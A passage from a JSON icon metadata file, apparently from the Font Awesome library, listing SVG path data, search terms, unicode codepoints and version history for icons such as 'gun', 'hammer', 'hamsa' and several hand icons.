9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z"
      }
    },
    "free": ["brands"]
  },
  "gun": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["firearm", "pistol", "weapon"]
    },
    "styles": ["solid"],
    "unicode": "e19b",
    "label": "Gun",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528 56c0-13.3-10.7-24-24-24s-24 10.7-24 24v8H32C14.3 64 0 78.3 0 96V208c0 17.7 14.3 32 32 32H42c20.8 0 36.1 19.6 31 39.8L33 440.2c-2.4 9.6-.2 19.7 5.8 27.5S54.1 480 64 480h96c14.7 0 27.5-10 31-24.2L217 352H321.4c23.7 0 44.8-14.9 52.7-37.2L400.9 240H432c8.5 0 16.6-3.4 22.6-9.4L477.3 208H544c17.7 0 32-14.3 32-32V96c0-17.7-14.3-32-32-32H528V56zM321.4 304H229l16-64h105l-21 58.7c-1.1 3.2-4.2 5.3-7.5 5.3zM80 128H464c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M528 56c0-13.3-10.7-24-24-24s-24 10.7-24 24v8H32C14.3 64 0 78.3 0 96V208c0 17.7 14.3 32 32 32H42c20.8 0 36.1 19.6 31 39.8L33 440.2c-2.4 9.6-.2 19.7 5.8 27.5S54.1 480 64 480h96c14.7 0 27.5-10 31-24.2L217 352H321.4c23.7 0 44.8-14.9 52.7-37.2L400.9 240H432c8.5 0 16.6-3.4 22.6-9.4L477.3 208H544c17.7 0 32-14.3 32-32V96c0-17.7-14.3-32-32-32H528V56zM321.4 304H229l16-64h105l-21 58.7c-1.1 3.2-4.2 5.3-7.5 5.3zM80 128H464c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "h": {
    "aliases": {
      "unicodes": {
        "composite": ["68"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter H", "Latin Small Letter H", "letter"]
    },
    "styles": ["solid"],
    "unicode": "48",
    "label": "H",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M320 256l0 192c0 17.7 14.3 32 32 32s32-14.3 32-32l0-224V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V192L64 192 64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-192 256 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M320 256l0 192c0 17.7 14.3 32 32 32s32-14.3 32-32l0-224V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V192L64 192 64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32l0-192 256 0z"
      }
    },
    "free": ["solid"]
  },
  "hacker-news": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d4",
    "label": "Hacker News",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"
      }
    },
    "free": ["brands"]
  },
  "hackerrank": {
    "changes": ["5.2.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5f7",
    "label": "Hackerrank",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z"
      }
    },
    "free": ["brands"]
  },
  "hammer": {
    "aliases": {
      "unicodes": {
        "composite": ["1f528"],
        "secondary": ["10f6e3"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "fix",
        "hammer",
        "recovery",
        "repair",
        "settings",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6e3",
    "label": "Hammer",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M413.5 237.5c-28.2 4.8-58.2-3.6-80-25.4l-38.1-38.1C280.4 159 272 138.8 272 117.6V105.5L192.3 62c-5.3-2.9-8.6-8.6-8.3-14.7s3.9-11.5 9.5-14l47.2-21C259.1 4.2 279 0 299.2 0h18.1c36.7 0 72 14 98.7 39.1l44.6 42c24.2 22.8 33.2 55.7 26.6 86L503 183l8-8c9.4-9.4 24.6-9.4 33.9 0l24 24c9.4 9.4 9.4 24.6 0 33.9l-88 88c-9.4 9.4-24.6 9.4-33.9 0l-24-24c-9.4-9.4-9.4-24.6 0-33.9l8-8-17.5-17.5zM27.4 377.1L260.9 182.6c3.5 4.9 7.5 9.6 11.8 14l38.1 38.1c6 6 12.4 11.2 19.2 15.7L134.9 484.6c-14.5 17.4-36 27.4-58.6 27.4C34.1 512 0 477.8 0 435.7c0-22.6 10.1-44.1 27.4-58.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M413.5 237.5c-28.2 4.8-58.2-3.6-80-25.4l-38.1-38.1C280.4 159 272 138.8 272 117.6V105.5L192.3 62c-5.3-2.9-8.6-8.6-8.3-14.7s3.9-11.5 9.5-14l47.2-21C259.1 4.2 279 0 299.2 0h18.1c36.7 0 72 14 98.7 39.1l44.6 42c24.2 22.8 33.2 55.7 26.6 86L503 183l8-8c9.4-9.4 24.6-9.4 33.9 0l24 24c9.4 9.4 9.4 24.6 0 33.9l-88 88c-9.4 9.4-24.6 9.4-33.9 0l-24-24c-9.4-9.4-9.4-24.6 0-33.9l8-8-17.5-17.5zM27.4 377.1L260.9 182.6c3.5 4.9 7.5 9.6 11.8 14l38.1 38.1c6 6 12.4 11.2 19.2 15.7L134.9 484.6c-14.5 17.4-36 27.4-58.6 27.4C34.1 512 0 477.8 0 435.7c0-22.6 10.1-44.1 27.4-58.6z"
      }
    },
    "free": ["solid"]
  },
  "hamsa": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f665"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "amulet",
        "christianity",
        "islam",
        "jewish",
        "judaism",
        "muslim",
        "protection"
      ]
    },
    "styles": ["solid"],
    "unicode": "f665",
    "label": "Hamsa",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M34.6 288H80c8.8 0 16-7.2 16-16V72c0-22.1 17.9-40 40-40s40 17.9 40 40V204c0 11 9 20 20 20s20-9 20-20V40c0-22.1 17.9-40 40-40s40 17.9 40 40V204c0 11 9 20 20 20s20-9 20-20V72c0-22.1 17.9-40 40-40s40 17.9 40 40V272c0 8.8 7.2 16 16 16h45.4c19.1 0 34.6 15.5 34.6 34.6c0 8.6-3.2 16.9-9 23.3L416.6 441c-41.1 45.2-99.4 71-160.6 71s-119.4-25.8-160.6-71L9 345.9c-5.8-6.4-9-14.7-9-23.3C0 303.5 15.5 288 34.6 288zM256 288c-38.4 0-76.8 35.8-90.6 50.2c-3.6 3.7-5.4 8.7-5.4 13.8s1.8 10.1 5.4 13.8C179.2 380.2 217.6 416 256 416s76.8-35.8 90.6-50.2c3.6-3.7 5.4-8.7 5.4-13.8s-1.8-10.1-5.4-13.8C332.8 323.8 294.4 288 256 288zm0 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M34.6 288H80c8.8 0 16-7.2 16-16V72c0-22.1 17.9-40 40-40s40 17.9 40 40V204c0 11 9 20 20 20s20-9 20-20V40c0-22.1 17.9-40 40-40s40 17.9 40 40V204c0 11 9 20 20 20s20-9 20-20V72c0-22.1 17.9-40 40-40s40 17.9 40 40V272c0 8.8 7.2 16 16 16h45.4c19.1 0 34.6 15.5 34.6 34.6c0 8.6-3.2 16.9-9 23.3L416.6 441c-41.1 45.2-99.4 71-160.6 71s-119.4-25.8-160.6-71L9 345.9c-5.8-6.4-9-14.7-9-23.3C0 303.5 15.5 288 34.6 288zM256 288c-38.4 0-76.8 35.8-90.6 50.2c-3.6 3.7-5.4 8.7-5.4 13.8s1.8 10.1 5.4 13.8C179.2 380.2 217.6 416 256 416s76.8-35.8 90.6-50.2c3.6-3.7 5.4-8.7 5.4-13.8s-1.8-10.1-5.4-13.8C332.8 323.8 294.4 288 256 288zm0 32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "hand": {
    "aliases": {
      "names": ["hand-paper"],
      "unicodes": {
        "composite": ["1f91a", "270b"],
        "secondary": ["10f256"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Raised Hand",
        "backhand",
        "game",
        "halt",
        "palm",
        "raised",
        "raised back of hand",
        "roshambo",
        "stop"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f256",
    "label": "Hand",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V336c0 1.5 0 3.1 .1 4.6L67.6 283c-16-15.2-41.3-14.6-56.6 1.4s-14.6 41.3 1.4 56.6L124.8 448c43.1 41.1 100.4 64 160 64H304c97.2 0 176-78.8 176-176V128c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V336c0 1.5 0 3.1 .1 4.6L67.6 283c-16-15.2-41.3-14.6-56.6 1.4s-14.6 41.3 1.4 56.6L124.8 448c43.1 41.1 100.4 64 160 64H304c97.2 0 176-78.8 176-176V128c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V32z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c-25.3 0-47.2 14.7-57.6 36c-7-2.6-14.5-4-22.4-4c-35.3 0-64 28.7-64 64V261.5l-2.7-2.7c-25-25-65.5-25-90.5 0s-25 65.5 0 90.5L106.5 437c48 48 113.1 75 181 75H296h8c1.5 0 3-.1 4.5-.4c91.7-6.2 165-79.4 171.1-171.1c.3-1.5 .4-3 .4-4.5V160c0-35.3-28.7-64-64-64c-5.5 0-10.9 .7-16 2V96c0-35.3-28.7-64-64-64c-7.9 0-15.4 1.4-22.4 4C303.2 14.7 281.3 0 256 0zM240 96.1c0 0 0-.1 0-.1V64c0-8.8 7.2-16 16-16s16 7.2 16 16V95.9c0 0 0 .1 0 .1V232c0 13.3 10.7 24 24 24s24-10.7 24-24V96c0 0 0 0 0-.1c0-8.8 7.2-16 16-16s16 7.2 16 16v55.9c0 0 0 .1 0 .1v80c0 13.3 10.7 24 24 24s24-10.7 24-24V160.1c0 0 0-.1 0-.1c0-8.8 7.2-16 16-16s16 7.2 16 16V332.9c-.1 .6-.1 1.3-.2 1.9c-3.4 69.7-59.3 125.6-129 129c-.6 0-1.3 .1-1.9 .2H296h-8.5c-55.2 0-108.1-21.9-147.1-60.9L52.7 315.3c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L119 336.4c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V96c0-8.8 7.2-16 16-16c8.8 0 16 7.1 16 15.9V232c0 13.3 10.7 24 24 24s24-10.7 24-24V96.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c-25.3 0-47.2 14.7-57.6 36c-7-2.6-14.5-4-22.4-4c-35.3 0-64 28.7-64 64V261.5l-2.7-2.7c-25-25-65.5-25-90.5 0s-25 65.5 0 90.5L106.5 437c48 48 113.1 75 181 75H296h8c1.5 0 3-.1 4.5-.4c91.7-6.2 165-79.4 171.1-171.1c.3-1.5 .4-3 .4-4.5V160c0-35.3-28.7-64-64-64c-5.5 0-10.9 .7-16 2V96c0-35.3-28.7-64-64-64c-7.9 0-15.4 1.4-22.4 4C303.2 14.7 281.3 0 256 0zM240 96.1c0 0 0-.1 0-.1V64c0-8.8 7.2-16 16-16s16 7.2 16 16V95.9c0 0 0 .1 0 .1V232c0 13.3 10.7 24 24 24s24-10.7 24-24V96c0 0 0 0 0-.1c0-8.8 7.2-16 16-16s16 7.2 16 16v55.9c0 0 0 .1 0 .1v80c0 13.3 10.7 24 24 24s24-10.7 24-24V160.1c0 0 0-.1 0-.1c0-8.8 7.2-16 16-16s16 7.2 16 16V332.9c-.1 .6-.1 1.3-.2 1.9c-3.4 69.7-59.3 125.6-129 129c-.6 0-1.3 .1-1.9 .2H296h-8.5c-55.2 0-108.1-21.9-147.1-60.9L52.7 315.3c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L119 336.4c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V96c0-8.8 7.2-16 16-16c8.8 0 16 7.1 16 15.9V232c0 13.3 10.7 24 24 24s24-10.7 24-24V96.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-back-fist": {
    "aliases": {
      "names": ["hand-rock"],
      "unicodes": {
        "secondary": ["10f255"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["fist", "game", "roshambo"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f255",
    "label": "Hand Back Fist",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M144 0C117.5 0 96 21.5 96 48V96v28.5V176c0 8.8-7.2 16-16 16s-16-7.2-16-16V149.3l-9 7.5C40.4 169 32 187 32 206V244c0 38 16.9 74 46.1 98.3L128 384v96c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V374.7c46.9-19 80-65 80-118.7V176 160 144c0-26.5-21.5-48-48-48c-12.4 0-23.6 4.7-32.1 12.3C350 83.5 329.3 64 304 64c-12.4 0-23.6 4.7-32.1 12.3C270 51.5 249.3 32 224 32c-12.4 0-23.6 4.7-32.1 12.3C190 19.5 169.3 0 144 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M144 0C117.5 0 96 21.5 96 48V96v28.5V176c0 8.8-7.2 16-16 16s-16-7.2-16-16V149.3l-9 7.5C40.4 169 32 187 32 206V244c0 38 16.9 74 46.1 98.3L128 384v96c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V374.7c46.9-19 80-65 80-118.7V176 160 144c0-26.5-21.5-48-48-48c-12.4 0-23.6 4.7-32.1 12.3C350 83.5 329.3 64 304 64c-12.4 0-23.6 4.7-32.1 12.3C270 51.5 249.3 32 224 32c-12.4 0-23.6 4.7-32.1 12.3C190 19.5 169.3 0 144 0z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M144 64c0-8.8 7.2-16 16-16s16 7.2 16 16c0 9.1 5.1 17.4 13.3 21.5s17.9 3.2 25.1-2.3c2.7-2 6-3.2 9.6-3.2c8.8 0 16 7.2 16 16c0 9.1 5.1 17.4 13.3 21.5s17.9 3.2 25.1-2.3c2.7-2 6-3.2 9.6-3.2c8.8 0 16 7.2 16 16c0 9.1 5.1 17.4 13.3 21.5s17.9 3.2 25.1-2.3c2.7-2 6-3.2 9.6-3.2c8.8 0 16 7.2 16 16V264c0 31.3-20 58-48 67.9c-9.6 3.4-16 12.5-16 22.6V488c0 13.3 10.7 24 24 24s24-10.7 24-24V370.2c38-20.1 64-60.1 64-106.2V160c0-35.3-28.7-64-64-64c-2.8 0-5.6 .2-8.3 .5C332.8 77.1 311.9 64 288 64c-2.8 0-5.6 .2-8.3 .5C268.8 45.1 247.9 32 224 32c-2.8 0-5.6 .2-8.3 .5C204.8 13.1 183.9 0 160 0C124.7 0 96 28.7 96 64v64.3c-11.7 7.4-22.5 16.4-32 26.9l17.8 16.1L64 155.2l-9.4 10.5C40 181.8 32 202.8 32 224.6v12.8c0 49.6 24.2 96.1 64.8 124.5l13.8-19.7L96.8 361.9l8.9 6.2c6.9 4.8 14.4 8.6 22.3 11.3V488c0 13.3 10.7 24 24 24s24-10.7 24-24V359.9c0-12.6-9.8-23.1-22.4-23.9c-7.3-.5-14.3-2.9-20.3-7.1l-13.1 18.7 13.1-18.7-8.9-6.2C96.6 303.1 80 271.3 80 237.4V224.6c0-9.9 3.7-19.4 10.3-26.8l9.4-10.5c3.8-4.2 7.9-8.1 12.3-11.6V208c0 8.8 7.2 16 16 16s16-7.2 16-16V142.3 128 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M144 64c0-8.8 7.2-16 16-16s16 7.2 16 16c0 9.1 5.1 17.4 13.3 21.5s17.9 3.2 25.1-2.3c2.7-2 6-3.2 9.6-3.2c8.8 0 16 7.2 16 16c0 9.1 5.1 17.4 13.3 21.5s17.9 3.2 25.1-2.3c2.7-2 6-3.2 9.6-3.2c8.8 0 16 7.2 16 16c0 9.1 5.1 17.4 13.3 21.5s17.9 3.2 25.1-2.3c2.7-2 6-3.2 9.6-3.2c8.8 0 16 7.2 16 16V264c0 31.3-20 58-48 67.9c-9.6 3.4-16 12.5-16 22.6V488c0 13.3 10.7 24 24 24s24-10.7 24-24V370.2c38-20.1 64-60.1 64-106.2V160c0-35.3-28.7-64-64-64c-2.8 0-5.6 .2-8.3 .5C332.8 77.1 311.9 64 288 64c-2.8 0-5.6 .2-8.3 .5C268.8 45.1 247.9 32 224 32c-2.8 0-5.6 .2-8.3 .5C204.8 13.1 183.9 0 160 0C124.7 0 96 28.7 96 64v64.3c-11.7 7.4-22.5 16.4-32 26.9l17.8 16.1L64 155.2l-9.4 10.5C40 181.8 32 202.8 32 224.6v12.8c0 49.6 24.2 96.1 64.8 124.5l13.8-19.7L96.8 361.9l8.9 6.2c6.9 4.8 14.4 8.6 22.3 11.3V488c0 13.3 10.7 24 24 24s24-10.7 24-24V359.9c0-12.6-9.8-23.1-22.4-23.9c-7.3-.5-14.3-2.9-20.3-7.1l-13.1 18.7 13.1-18.7-8.9-6.2C96.6 303.1 80 271.3 80 237.4V224.6c0-9.9 3.7-19.4 10.3-26.8l9.4-10.5c3.8-4.2 7.9-8.1 12.3-11.6V208c0 8.8 7.2 16 16 16s16-7.2 16-16V142.3 128 64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-dots": {
    "aliases": {
      "names": ["allergies"],
      "unicodes": {
        "secondary": ["10f461"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "allergy",
        "freckles",
        "hand",
        "hives",
        "palm",
        "pox",
        "skin",
        "spots"
      ]
    },
    "styles": ["solid"],
    "unicode": "f461",
    "label": "Hand Dots",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
